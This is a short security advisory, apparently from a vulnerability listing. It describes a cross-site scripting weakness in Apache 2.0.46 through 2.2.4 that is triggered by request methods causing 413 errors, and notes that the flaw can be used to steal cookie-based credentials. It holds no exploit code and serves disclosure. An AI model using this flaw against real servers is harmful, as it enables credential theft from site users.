Apache is prone to a cross-site scripting weakness when handling HTTP request methods that result in 413 HTTP errors.
An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks.
Apache 2.0.46 through 2.2.4 are vulnerable; other versions may also be affected.
